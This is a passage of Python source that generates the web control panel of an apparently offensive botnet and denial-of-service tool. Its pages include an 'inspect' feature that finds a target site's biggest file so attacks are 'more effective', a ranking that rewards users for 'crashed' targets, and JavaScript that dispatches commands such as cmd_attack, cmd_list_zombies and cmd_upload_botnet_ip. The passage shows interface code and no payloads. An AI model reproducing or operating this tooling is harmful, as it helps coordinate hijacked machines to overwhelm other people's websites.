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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAEwAAADwAAACKAAAAxQAAAOoAAAD3AAAA8AAAANcAAACgAAAAWAAAABwAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=='>"
3651
3652
self.pages["/author"] = self.pages["/header"] + """<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
3653
</head>
3654
<body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
3655
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
3656
<center>
3657
3658
<table cellpadding="38" cellspacing="38">
3659
<tr>
3660
<td>
3661
<table cellpadding="24" cellspacing="25" border="1">
3662
<tr>
3663
<td><pre>"""+self.author_text+"""</pre></td>
3664
</tr>
3665
</table>
3666
</td></tr></table>
3667
""" + self.pages["/footer"]
3668
3669
self.pages["/treemap"] = self.pages["/header"] + """<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
3670
</head>
3671
<body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
3672
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
3673
<table cellpadding="38" cellspacing="38">
3674
<tr>
3675
<td>
3676
<div>
3677
<link type="text/css" href="js/treemap.css" rel="stylesheet" />
3678
<script language="javascript" type="text/javascript" src="js/jit.js"></script>
3679
<script language="javascript" type="text/javascript" src="js/treemap.js"></script>
3680
<div id="infovis"></div>
3681
</div>
3682
</td></tr></table><center>
3683
""" + self.pages["/footer"]
3684
3685
self.pages["/inspect"] = self.pages["/header"] + """<script language="javascript">
3686
function Requests() {
3687
var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
3688
}
3689
function Start(){
3690
target=document.getElementById("target").value
3691
String.prototype.startsWith = function(prefix){
3692
return this.indexOf(prefix) === 0;
3693
}
3694
if(target.startsWith("http")){
3695
params="target="+escape(target)
3696
3697
}else{
3698
window.alert("You need to enter a valid url: http(s)://target.com/page.html");
3699
return
3700
}
3701
runCommandX("cmd_inspect",params)
3702
}
3703
</script>
3704
</head>
3705
<body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
3706
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
3707
<center>
3708
<table cellpadding="38" cellspacing="38">
3709
<tr>
3710
<td>
3711
</td>
3712
<td>
3713
<table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
3714
<tr>
3715
<td>
3716
<pre>
3717
This feature will provide you the biggest file on target.
3718
You can use this before to attack to be more effective.
3719
3720
<button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
3721
3722
<hr>
3723
Set page to crawl: <input type="text" name="target" id="target" size="30" placeholder="http(s)://target.com/list_videos.php">
3724
3725
<hr>
3726
<button title="Start to search for biggest file on your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">INSPECT!</button></pre>
3727
</td></tr></table>
3728
<br><br><hr><br>
3729
<div id="cmdOut"></div><center>""" + self.pages["/footer"]
3730
3731
self.pages["/ranking"] = self.pages["/header"] + """<script language="javascript">
3732
function Grid() {
3733
var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
3734
}
3735
function Stats() {
3736
var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
3737
}
3738
function Board() {
3739
var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
3740
}
3741
function Links() {
3742
var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
3743
}
3744
function Streams() {
3745
var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
3746
}
3747
function Sync_ranking(){
3748
ranking_source=document.getElementById("ranking_source").value
3749
if(ranking_source == "") {
3750
window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
3751
return
3752
}else{
3753
params="ranking_source="+escape(ranking_source)
3754
runCommandX("cmd_refresh_ranking",params)
3755
document.getElementById("nb1").style.display = "none";
3756
document.getElementById("nb1").style.display = "block";
3757
setTimeout("location.reload()", 10000)
3758
}
3759
}
3760
</script></head>
3761
<body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
3762
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
3763
<center>
3764
<table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
3765
<td><a href="javascript:alert('Commander DPR says: I love new blood!! """ + self.ranking + """, in the Ranking section you can see information about how to raise your grade, meet the best UFOMasters, be close to those who are like you and try to find partners to dominate the multi-verse... Until then: Dont be evil!');"><img src='data:image/png;base64,"""+self.commander_img+"""'></a></td>
3766
<td>GRADUATION/CLANS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit your own stats..." onclick="Stats()">VISIT STATS!</button><br><br><button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit data links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit Streams..." onclick="Streams()">VISIT STREAMS!</button></td>
3767
</tr></table>
3768
<table cellpadding="5" cellspacing="10">
3769
<tr>
3770
<td align="center">
3771
Your ranking is: <b>""" + str(self.ranking) + """</b>
3772
</td>
3773
</tr>
3774
<tr>
3775
<td>
3776
<table border="1" cellpadding="10" cellspacing="10">
3777
<tr>
3778
<td align="center"><b><u>GRADE:</u></b></td><td align="center"><b><u>RANKING:</u></b></td><td align="center"><b><u>REQUIRED:</u></b></td></tr>
3779
<tr>
3780
<td align="center"><font color='orange' size='4'>-</font></td><td align="center"><font color='orange'>Unknown</font></td><td align='center'><a style="text-decoration:none" href="javascript:alert('You havent a correct key set on your configuration to unmask this Motherships!');">KEY?</a></td></tr>
3781
<tr>
3782
<td align="center"><font color='white' size='4'>*</font></td><td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>missions<4</font></td></tr>
3783
<tr>
3784
<td align="center"><font color='cyan' size='4'>**</font></td><td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>missions>4</font></td></tr>
3785
<tr>
3786
<td align="center"><font color='blueviolet' size='4'>***</font></td><td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>crashed=1</font></td></tr>
3787
<tr>
3788
<td align="center"><font color='blue' size='4'>****</font></td><td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>crashed>1<4</font></td></tr>
3789
<tr>
3790
<td align="center"><font color='red' size='4'>&#x25BC;</font></td><td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'><a style="text-decoration:none" href="javascript:alert('Secret Achievement!');">???</a></font></td></tr>
3791
</table>
3792
</td>
3793
</tr></table>
3794
<br>
3795
<table cellpadding="5" cellspacing="10">
3796
<tr>
3797
<td>Blackhole/IP:</td>
3798
<td><input type="text" name="ranking_source" id="ranking_source" size="20" value='"""+default_blackhole+"""'></td>
3799
<td><button title="Syncronize data from a blackhole with your device..." onclick="Sync_ranking()">DOWNLOAD!</button></td>
3800
</tr></table>
3801
<br>
3802
<div id="nb2" style="display: none;">"""+str(self.extract_ranking_table())+"""</div>
3803
Last update: <font color='"""+ self.ranking_status_color + """'>"""+ self.ranking_datetime + """</font><br><br>
3804
<div id="cmdOut"></div>
3805
<div id="nb1" style="display: block;">"""+self.ranking_text+"""</div>
3806
<table bgcolor="black" cellpadding="5" cellspacing="10" border="0"><tr>
3807
<td>
3808
</td><td>
3809
<table border="1" cellpadding="5" cellspacing="10">
3810
<tr>
3811
<td align="center"><b><u>TOTAL_ON_GRID:</u></b></td><td align="center"><b><u>"""+str(self.ranking_grid_total)+"""</u></b></td></tr>
3812
<tr>
3813
<td align="center"><font color='orange'>Unknown</font></td><td align='center'><font color='orange'>"""+str(self.ranking_grid_unknown)+"""</font></td></tr>
3814
<tr>
3815
<td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>"""+str(self.ranking_grid_rookie)+"""</font></td></tr>
3816
<tr>
3817
<td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>"""+str(self.ranking_grid_mercenary)+"""</font></td></tr>
3818
<tr>
3819
<td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>"""+str(self.ranking_grid_bandit)+"""</font></td></tr>
3820
<tr>
3821
<td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>"""+str(self.ranking_grid_ufommander)+"""</font></td></tr>
3822
<tr>
3823
<td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'>"""+str(self.ranking_grid_ufoleet)+"""</font></td></tr>
3824
</table>
3825
</td><td>
3826
<table border="1" cellpadding="5" cellspacing="10">
3827
<tr>
3828
<td><b><u>TOP_5_MOTHERSHIPS:</u></b></td></tr>
3829
<tr>
3830
<td align='center'>"""+str(self.ranking_top5_player1)+"""</td></tr>
3831
<tr>
3832
<td align='center'>"""+str(self.ranking_top5_player2)+"""</td></tr>
3833
<tr>
3834
<td align='center'>"""+str(self.ranking_top5_player3)+"""</td></tr>
3835
<tr>
3836
<td align='center'>"""+str(self.ranking_top5_player4)+"""</td></tr>
3837
<tr>
3838
<td align='center'>"""+str(self.ranking_top5_player5)+"""</td></tr>
3839
</table>
3840
</td><td>
3841
<table border="1" cellpadding="5" cellspacing="10">
3842
<tr>
3843
<td><b><u>RANDOM_SIMILAR:</u></b></td></tr>
3844
<tr>
3845
<td align='center'>"""+str(self.ranking_similar_player1)+"""</td></tr>
3846
<tr>
3847
<td align='center'>"""+str(self.ranking_similar_player2)+"""</td></tr>
3848
<tr>
3849
<td align='center'>"""+str(self.ranking_similar_player3)+"""</td></tr>
3850
</table>
3851
</td><td>
3852
<table border="1" cellpadding="5" cellspacing="10">
3853
<tr>
3854
<td><b><u>AI_SUGGESTION:</u></b></td></tr>
3855
<tr>
3856
<td align='center'>"""+str(self.ranking_top1_player1)+"""</td></tr>
3857
</table>
3858
</td>
3859
</tr></table>
3860
</center>
3861
<hr>
3862
""" + self.pages["/footer"]
3863
3864
self.pages["/lib.js"] = """function loadXMLDoc() {
3865
var xmlhttp;
3866
if (window.XMLHttpRequest) {
3867
// code for IE7+, Firefox, Chrome, Opera, Safari
3868
xmlhttp = new XMLHttpRequest();
3869
} else {
3870
// code for IE6, IE5
3871
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
3872
}
3873
xmlhttp.onreadystatechange = function() {
3874
if (xmlhttp.readyState == 4 ) {
3875
if(xmlhttp.status == 200){
3876
document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
3877
setTimeout("loadXMLDoc()", 3000);
3878
}
3879
}
3880
}
3881
xmlhttp.send();
3882
}
3883
function runCommandX(cmd,params) {
3884
var xmlhttp;
3885
if (window.XMLHttpRequest) {
3886
// code for IE7+, Firefox, Chrome, Opera, Safari
3887
xmlhttp = new XMLHttpRequest();
3888
} else {
3889
// code for IE6, IE5
3890
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
3891
}
3892
xmlhttp.onreadystatechange = function() {
3893
if (xmlhttp.readyState == 4 ) {
3894
if(xmlhttp.status == 200){
3895
if(cmd.indexOf("?")!=-1){
3896
s=cmd.split("?")
3897
cmd=s[0]
3898
params=s[1]
3899
}
3900
document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
3901
//document.getElementById("cmdOut").scrollIntoView();
3902
newcmd=cmd
3903
if(newcmd=="cmd_list_army"||newcmd=="cmd_list_nodes"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"||newcmd=="cmd_view_changelog"){ //do not refresh listing army
3904
return;
3905
} else {
3906
if(newcmd=="cmd_test_army" || newcmd=="cmd_download_nodes" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_tv" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_sync_links" || newcmd=="cmd_sync_globalnet" || newcmd=="cmd_sync_streams" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_transfer_link" || newcmd=="cmd_transfer_globalnet" || newcmd=="cmd_transfer_stream" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_decrypt_links" || newcmd=="cmd_decrypt_globalnet" || newcmd=="cmd_decrypt_streams" || newcmd=="cmd_decrypt_tv" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_community" || newcmd=="cmd_upload_community" || newcmd=="cmd_download_botnet_ip" || newcmd=="cmd_upload_botnet_ip" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_check_tor" || newcmd=="cmd_edit_supply" || newcmd=="cmd_job_remove" || newcmd=="cmd_job_remove_all" || newcmd=="cmd_job_add" || newcmd =="cmd_job_add_all" || newcmd=="cmd_job_cancel" || newcmd=="cmd_job_cancel_all" || newcmd=="cmd_job_filter" || newcmd=="cmd_link_filter" || newcmd=="cmd_globalnet_filter" || newcmd=="cmd_stream_filter" || newcmd=="cmd_grid_filter" || newcmd=="cmd_search") newcmd=newcmd+"_update"
3907
//do not refresh if certain text on response is found
3908
if(newcmd.match(/update/) &&
3909
(
3910
xmlhttp.responseText.match(/Generating random exit/) ||
3911
xmlhttp.responseText.match(/Biggest File/) ||
3912
xmlhttp.responseText.match(/Abduction finished/) ||
3913
xmlhttp.responseText.match(/Not any zombie active/) ||
3914
xmlhttp.responseText.match(/Target looks OFFLINE/) ||
3915
xmlhttp.responseText.match(/Unable to connect to target/) ||
3916
xmlhttp.responseText.match(/Something wrong/) ||
3917
xmlhttp.responseText.match(/Target url not valid/) ||
3918
xmlhttp.responseText.match(/updated/) ||
3919
xmlhttp.responseText.match(/For HELP use:/) ||
3920
xmlhttp.responseText.match(/Not any .git repository found/) ||
3921
xmlhttp.responseText.match(/End of /) ||
3922
xmlhttp.responseText.match(/Exiting /) ||
3923
xmlhttp.responseText.match(/Bye/)
3924
)
3925
) return;
3926
setTimeout(function(){runCommandX(newcmd,params)}, 3000);
3927
return;}
3928
}
3929
}
3930
}
3931
if(typeof params != "undefined") cmd=cmd+"?"+params
3932
xmlhttp.open("GET", cmd, true);
3933
xmlhttp.send();
3934
}
3935
"""
3936
self.pages["/requests"] = self.html_requests()
3937
self.pages["/board_profile"] = self.html_board_profile()
3938
self.pages["/grid_profile"] = self.html_grid_profile()
3939
3940
def buildGetParams(self, request):
3941
params = {}
3942
try:
3943
path = re.findall(r"^GET ([^\s]+)", request.decode('utf-8'))
3944
except:
3945
path = re.findall(r"^GET ([^\s]+)", request)
3946
if path:
3947
path = path[0]
3948
start = path.find("?")
3949
if start != -1:
3950
if path[start+1:start+7] == "zombie":
3951
params['zombie']=path[start+8:]
3952
return params
3953
if path[start+1:start+7] == "target":
3954
params['target']=path[start+8:]
3955
return params
3956
for param in path[start+1:].split("&"):
3957
f = param.split("=")
3958
if len(f) == 2:
3959
var = f[0]
3960
value = f[1]
3961
value = value.replace("+", " ") # quoted space
3962
value = urllib.parse.unquote(value)
3963
for key in badkeys: # sanitize user-input badkeys
3964
if key in value:
3965
value = value.replace(key, " ")
3966
params[var] = value
3967
return params
3968
3969
def save_profile(self,pGet):
3970
# set values for profile configuration from html form to json file
3971
if "profile_token" in list(pGet.keys()):
3972
profile_token = pGet["profile_token"]
3973
else:
3974
profile_token = self.profile_token
3975
if "profile_icon" in list(pGet.keys()):
3976
profile_icon = pGet["profile_icon"]
3977
else:
3978
profile_icon = self.profile_icon
3979
if "profile_nick" in list(pGet.keys()):
3980
profile_nick = pGet["profile_nick"]
3981
else:
3982
profile_nick = self.profile_nick
3983
# set new values on boardcfg json file
3984
with open(self.mothership_boardcfg_file, "w") as f:
3985
json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4)
3986
3987
def save_grid(self,pGet):
3988
# set values for profile configuration from html form to json file
3989
if "grid_token" in list(pGet.keys()):
3990
